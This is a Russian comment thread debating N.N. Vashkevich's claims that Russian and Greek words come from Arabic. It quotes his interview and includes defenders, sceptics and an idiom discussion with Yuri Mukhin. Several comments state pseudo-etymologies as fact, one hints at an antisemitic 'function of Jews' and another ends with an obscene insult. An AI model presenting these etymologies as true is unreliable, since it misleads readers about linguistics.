2) Гипотеза также проверяется и на глухих с рождения людях.
С уважением.
Так держать!
Припоминаю вашу цитату:"иногда ,Сталин, расслабившись писал -бог знает о чем, например "о вопросах языкознания". Цитирую по-памяти. Недавно беседовал с гражданином ,который подарил вам на день рождения портрет где вы небриты и с пионерским галстуком на шее. К чему я это всё? Как бы не упирались всякие-якие - заборем мы эту публику. Идея об ответственности уже в головах. Сама власть подводит граждан к этой мысли. Извините за сумбурность.
поддерживаю
"Ну почему Вы рассматриваете отдельно материю и отдельно информацию"
Согласен. С этого начинается уход в религии, это конечно моё мнение, и мои наблюдения за знакомыми мне людьми.
Сайт Вашкевича Н.Н. Раздел
Сайт Вашкевича Н.Н.
Раздел "ОСНОВЫ_полагающее", текст "О главном ..." - интервью для интернета, читата :
"2. Очень хотелось бы спросить определения таких понятий как этимология, информатика, информация, энергия, мысль.
– А. Этимология – это наука о сокрытых значениях слов, поскольку этимон по-арабски значит “сокрытый”. Современная научная этимология ещё две с половиной тысячи лет назад потеряла свой предмет из-за непонимания слова этимон. Сейчас она занимается происхождением слов, но и на этом пути не сделано ни шага к истине. Научные этимологии остаются гадательными, а самая главная ошибка научной этимологии заключается в том, что она даже не ставит вопрос о мотивированности слов. Из этого следует, что она находится на тупиковом пути.
Б. Информатика – это совокупность знаний и технологий в области обработки информации. На самом деле информатика, главным образом, занимается не собственно информацией, а ее носителями, и потому этот термин следовало бы поставить в кавычки.
В. Информация – термин, который на настоящее время имеет много сотен определений, что говорит о том, что люди занимающиеся этой проблемой не всегда понимают, чем они занимаются. Я пользуюсь этимологическими определениями. Дело в том, что термины большей частью, отражают функциональную номинацию, которая в качестве инструмента познания гораздо эффективнее определений аристотелевского типа (через указание на ближайший род и видовое отличие). Если информация слово арабское, то понять, что это такое можно только обратившись к первоисточнику. Это точно так же, как нельзя понять, что значит бутерброд, не обратившись к немецкому. Мы не понимаем этого слова, потому бутербродом называем хлеб с любой снедью, не обязательно с маслом. Так и термин информация.
На самом деле термин в конечном счете восходит к арабскому глаголу ъарафа “знать, узнавать”. От этого глагола в арабском образуется маъриф(ун) “то, посредством чего я узнаю, опознаю предмет, т.е. лик, образ, форма”. Древние греки не знали, в какую сторону следует читать это слово, и на всякий случай прочитали в обе, получилось морфа и форма. Синонимы. Другое образование от этого корня: маърифа “то, что я знаю, знания”. Здесь отражается очень важное различие между двумя типами информации, которое специалисты не различают. Информация как различия между вещами. И информация как знания, как накопленные различения.
Первый термин относится к вещам, а второй – к познающему субъекту. Кроме того, информация как знания обладает существенным признаком, отличающим его от всего, что не является информацией. Это наличие содержания. По отношению, например, к книге, можно употребить термин информация в обоих значениях. Её объем, качество бумаги и типографской краски, цвет обложки – это информация первого рода. Содержание книги – информация второго рода. Изучение информации первого рода не ведёт к постижению информации второго рода. Сколько чернила ни нюхай, текста не поймешь. Эта простая истина стала камнем преткновения в дальнейшем познавательном продвижении науки. Иногда непонимание простых вещей приводит к глобальному кризису, что мы и наблюдаем в естествознании. Ученые, изучая физическую природу полей (например, торсионных) хотят понять содержание информации, в них заключённой. Это в принципе невозможно. Сколько денег ни трать, результатов не получишь.
Г) Энергия. Я мог бы сказать, что меня термин энергия интересует мало, поскольку к информации энергия имеет лишь косвенное отношение. Но то, обстоятельство, что люди, объявляющие себя специалистами по информации, так часто и невпопад употребляют термины энергия, энергетика, иногда даже вместо термина информация, заставляют меня заниматься и энергией, только как словом. Забыты напрочь слова Виннера, отца кибернетики, сказанные им еще 60 лет назад о том, что информация это не энергия и не вещество. Энергия – этот термин, хорошо освоен физикой. Здесь непонятного почти нет. Энергия имеет дело с силой, и физики знают о ней всё. Существуют даже единицы её измерения и формулы, по которой она рассчитывается. В частном случае это площадь огибающей синусоиды. Другое дело термин информация, который остаётся загадочным. Информация имеет дело не с силой (и это принципиально), а с различием или различением. В одно единственное различие (долгота-краткость или ноль-единица) можно записать все смыслы мира. Различия могут быть и в силе, и если они используются как информация (звуковые колебания воздуха или амплитудная модуляция радиосигнала), тогда информация тесно сплавляется с энергией, но не становится ею.
Понятно, что информация, вещество, энергия в природе даны нам в слитом виде. Но хотя бы в уме эти вещи следует различать. Новая наука под названием энергоинформатика этого не различает. Металл ключа – это вещество, сила. с которой я поворачиваю ключ – это энергия, форма бородки, которая должна соответствовать прорезу замка – это информация.
Энергия необходима знаку как транспорт, но по содержанию знак не зависит от энергии. Сигнал передающей станции в Москве очень сильный, он же во Владивостоке очень слабый. Тем не менее изменение энергетики знаков не влияет на их содержание.
Что касается этимологии якобы греческого слова энергия, то оно происходит от арабского корня эрг, точнее хрг (хрж) “возбуждение”. Сюда же оргия, оргазм (хараг аазам (наивысшее возбуждение), литургия, русские торжество, горение.
Д) Мысль. Это арабское слово означает “подобие, образец”. Когда в Библейском тексте встречается мысль о том, что человек создан по образу и подобию, следует понимать “по мысли”, по “промыслу”. Иными словами, прежде чем делать, Творец всё тщательно продумал. Создал образ будущего. Может быть, нам эта мысль покажется дикой. Ведь у нас всё не так. Вначале затеяли перестройку, потом стали думать."
замечание
Здесь, как и у многих других авторов, которые приводят библейский пример о создании человека мы видим расхождение с библейским текстом, видимо потому, что невнимательно читали текст:
гипотеза
Скорее всего, открытие Вашкевича достаточно давно известно как одна из гипотез лингвистики. речь идёт о наличии врождённой потребности в сложном языке(да-да, грамматических правилах которые позволяют отобразить времена и отношения объектов в словах), которая является результатом эволюции человека. или результатом божественного промысла, что, в общем, то же другими словами. Пример креольских языков; жившие вместе дети рабов из разных племён при отсутствии общего языка в каждом случае сформировали свой собственный сложный язык - всего за одно поколение. Часто такой язык появлялся на основе лексики хозяев; при этом, хотя никто и не учил рабов грамматике, грамматика ВСЁ РАВНО появилась - но своя. Желающие могут посмотреть как выглядит ямайкский или папуасский пиджин, или гаитянский креол: слова, вроде, понятные, а смысл - с трудом. Инвазия русского языка иностранными словами которые начинают подчиняться русским правилам - из той же оперы.
"Плазма" языка (вероятно) просто является реликтом возникновения земледелия. Детали замечательно изложены у Джареда Даймонда "Ружья, микробы, сталь".
Симия
Вообще-то у Вашкевича о другом в книгах написано. Прочитайте его "Симию" внимательнее.
Не будет мой комментарий
Не будет мой комментарий опубликован. Но он есть в гостевой сайта Вашкевича Н.Н. здесь :
http://nnvashkevich.narod.ru
Мало работаете над собой
Поменьше брезгливости и надменности. И у вас всё получится.
Мнение Мухина
Чтобы проверить Вашкевича достаточно двух шагов:
1-Выучит арабские буквы(Технология обучения хорошо обкатана в мечетях, за 3-4 дня с лёгкостью читается арабский текст, ничего не понимая в содержании текста).
2 Найти арабско-русский словарь и проверить совпадения звучания слов и смысла слов.
Путём методичного обучения, ТуМаН(ТеМеНь) в голове развеется.
А статья выглядит так: Я не проверял(Мухин), а мне КАЖЕТСЯ что автор(Вашкевич) не прав.
Будешь врать - будет с тобой то, что показано в этимологических
Будешь врать - будет с тобой то, что показано в этимологических рассказах на сайте Вашкевича Н.Н.
Мудрость Русичей - наРОДа Руси :
у всякого своё кажется.
А чтобы проверить Вашкевича Н.Н. достаточно вот каких шагов :
НЕ ДЛЯ ТОГО, как ты желаешь, чтобы ТУПО ЧТО ТО ДОЛДОНИТЬ, НО !
ДЛЯ ТОГО - чтобы научиться выявлять в ЛЕВОСЛОВНОЙ как принято на Руси половине УСК РА ТРЁХСОГЛАСНЫЙ КОРЕНЬ и войти в арабский словарь с целью НАЙТИ ЗНАЧЕНИЕ ЭТОГО РУССКОГО КОРНЯ в Арабской половине УСК РА - Н Е О Б Х О Д И М О !!! :
- выучить 28 арабских букв, что есть одновременно и ЧИСЛОВЫЕ ЗНАЧЕНИЯ ЗВУКОВ в исходной звуко-буквенно-числовой матрице; арбский алфавит - САМЫЙ ПРОСТОЙ из существующих. ОДИН ЗНАК = ОДНА БУКВА = ОДИН ЗВУК. ВСЁ.
- освоить арабскую грамматику хотя бы кратко представленную на сайте Автора и в книге "ИДИОМЫ. Этимологический словарь от А до Я" - это Арабская половина УСК РА.
- освоить пользование арабско-русским словарём, хотя бы Баранова, также есть ссылка на сайте Автора и рекомендации по пользованию.
- соблюдать технику безопасности представленную во Введении к выпуску 1 Словаря этимологий.
И вперёд.
Ни мечеть, ни ЦеРКовь (ЦиРК - за СоГЛасными проследили? Для сведения : смысл слова несут СоГЛасные т.к. в Арабской половине УСК РА корень "СГЛ" означает буквально - ОБЯЗАТЕЛЬНЫЕ ДЛЯ РЕГИСТРАЦИИ; смысл слова несут СоГЛасные в строгом соответствии С КОНТЕКСТОМ УЗКИМ - соседние слова, строка, абзац - И КОНТЕКСТОМ ШИРОКИМ - смысл всего текста, факты реальности, факты сознания), ни СВиНагога (тут в корне СВН "В" - восстановленный павший слабый ВАВ, который произносится как О или У - в Арабской половине УСК РА "О" и "У" не различаются) и т.о. корень "СВН" = "СОН" и означает СОН - слово Русской половины УСК РА. Далее читай сам про ФУНКЦИЮ евреев нпр. в уроке 44 книги "СИМИЯ".
А тот факт, что в настоящее время на Руси НЕТ НИКОГО, НЕТУ НИ ЕДИНОГО т.н. "арабиста", кто умел бы пользоваться первоисточниками - АРАБСКИМИ ТОЛКОВЫМИ СЛОВАРЯМИ ... дык что ж ... Вашкевич Н.Н. ЭТОМУ НАУЧИЛСЯ. САМ. Следовательно это ДОСТУПНО ВСЕМ. Кто захочет - научится. А не желаешь учиться ? Тогда придётся тебе доверять тому, что сказано Учёным Русичем Вашкевичем Н.Н., который в частности утверждает, что ЕДИНСТВЕННОЕ ДЕЙСТВИТЕЛЬНОЕ СУЩЕСТВЕННОЕ ПРЕГРЕШЕНИЕ - ЭТО ПРЕГРЕШЕНИЕ ПЕРЕД Истиной.
Так что ВСЕМ кто предполагает, что Вашкевич Н.Н. лжёт - сочувствую и прямо скажу "ЙУХАН" - это ЛЕВОСЛОВНО как принято на Руси записанное ПРАВОСЛОВНОЕ по-арабски записанное слово буквально означает "БЕДОЛАГА" и по-арабски ПРАВОСЛОВНО оно выглядит ТАК : "НА-УЙ"<- = ЙУХАН.
Не мытьем, так катаньем
Юрий Игнатьевич, с огромным уважением отношусь к Вам и с большим интересом к Вашим книгам и публикациям.
Но есть небольшое замечание - в не столь давние времена ткань льняную катали чтоб грязь отбить, отсюда и идиома.
Моя информация не из академических книг, а от мамы с деревни.
Ответ от Ю.Мухина
Как вы себе представляете «катание» ткани, чтобы очистить ее? Я о таком первый раз читаю. Могу представить, если на рубашке грязь уже слоем, то можно дать ей высохнуть и помять ее, затем выколотить, чтобы уменьшить количество грязи на ткани перед стиркой (перед мытьем). Но мять ткань или выколачивать ее, это не катать. Катали выстиранное и высушенное белье, чтобы его разгладить, использовались для этого два деревянных инструмента – рубель и скалка.
Не мытьем, так катаньем
Юрий Игнатьевич,
После катания (при использовании инструмента - рубель и скалка) белье имеет более свежий вид, что, вероятно, и послужило основанием для рождения идиомы.
Это отсюда http://www.junior.ru/students/gavrilova/katan.htm
Исходя из этого делаю вывод о возможной ошибочности моего предыдущего утверждения:
--- в не столь давние времена ткань льняную катали, чтоб грязь отбить ---,
которое я озвучил со слов матери, хотя она этим занятием сама не занималась.
Смысл – "не можешь отмыть, тогда отрежь грязное" есть в случае ногтей, а в случае белья (резать очень ценное в те времена белье и ткань?) - тоже есть, но не так запросто, чтоб родилась отмашка - не можешь отмыть - отрежь.
В значении отрежь, по-моему, у тех, кто занимается мытьем идиома родиться не могла. И значит стоит поискать других "заинтересованных" лиц.
P.S. Пришло на ум слово закат. -Кат- здесь может также обозначить линию отреза, границу, горизонт. А может обозначить процесс движения-качения солнца.
Объединить же такие понятия, как катание и резание можно преодолением границ и граней.
P.P.S. Никогда не занимался и не думал над подобными вещами. Как и Вы (или благодаря Вам), считаю, что лучше подумать и ошибиться самому, чем не думать и ошибаться со всеми. Хотя, думать, по-моему, для того и нужно чтоб не ошибиться.
Отправить комментарий